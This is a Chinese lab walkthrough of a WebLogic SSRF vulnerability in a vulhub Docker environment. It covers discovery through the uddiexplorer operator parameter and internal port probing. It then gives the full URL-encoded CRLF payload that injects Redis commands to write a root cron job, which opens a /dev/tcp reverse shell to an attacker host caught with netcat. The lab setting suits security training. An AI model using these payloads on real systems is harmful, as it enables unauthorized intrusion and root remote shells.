weblogic-SSRF漏洞

目录

• 漏洞测试
  
  
  
  • 注入HTTP头，利用Redis反弹shell
    
  
  
• redis不能启动问题解决
  

Path  :  vulhub/weblogic/ssrf

编译及启动测试环境

1. docker compose up -d

复制代码

Weblogic中存在一个SSRF漏洞，利用该漏洞可以发送任意HTTP请求，进而攻击内网中redis、fastcgi等脆弱组件
访问http://127.0.0.1:7001/uddiexplorer/，无需登录即可查看uddiexplorer应用

点击Search Public Registries

来到http://127.0.0.1:7001/uddiexplorer/SearchPublicRegistries.jsp页面

漏洞测试

打开BurpSuite测试，点击Search按钮
Ctrl+r发送到Repeater模块，观察数据包

根据数据包的响应信息，可以猜测operator参数后面可以跟一个url地址
利用dnslog平台测试，生成一个域名


成功解析到，说明operator后面 可以做url地址请求，说明存在SSRF 漏洞

访问一个可以访问的IP:PORT，如http://127.0.0.1:80

发现80端口没有开放
在访问7001端口，

通过错误的不同，即可探测内网状态。
环境是在docker上启动的，（docker环境的网段一般是172.*）

注入HTTP头，利用Redis反弹shell

发送三条redis命令，将弹shell脚本写入/etc/crontab：
反弹到kali上

1. set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/192.168.80.141/21 0>&1'\n\n\n\n"
2. config set dir /etc/
3. config set dbfilename crontab
4. save

复制代码

进行url编码

1. set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.80.141%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave

复制代码

注意，换行符是“\r\n”，也就是“%0D%0A”。
将url编码后的字符串放在ssrf的域名后面，发送：

1. http://172.19.0.2:6379/saury%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.80.141%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Asaury

复制代码

kali开启监听：

1. nc -lvvp 21

复制代码

bp发送请求

等待计划任务生效

成功拿到shell
redis不能启动问题解决

在使用sudo docker-compose up -d启动环境的时候，只启动了weblogic，没有启动redis

修改如下配置

1. vim /etc/default/grub
2. GRUB_CMDLINE_LINUX_DEFAULT="vsyscall=emulate"

复制代码

:wq保存后，命令行运行update-grub
reboot重启，redis成功启动

解决方法来自:https://blog.csdn.net/weixin_43886198/article/details/111144854

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！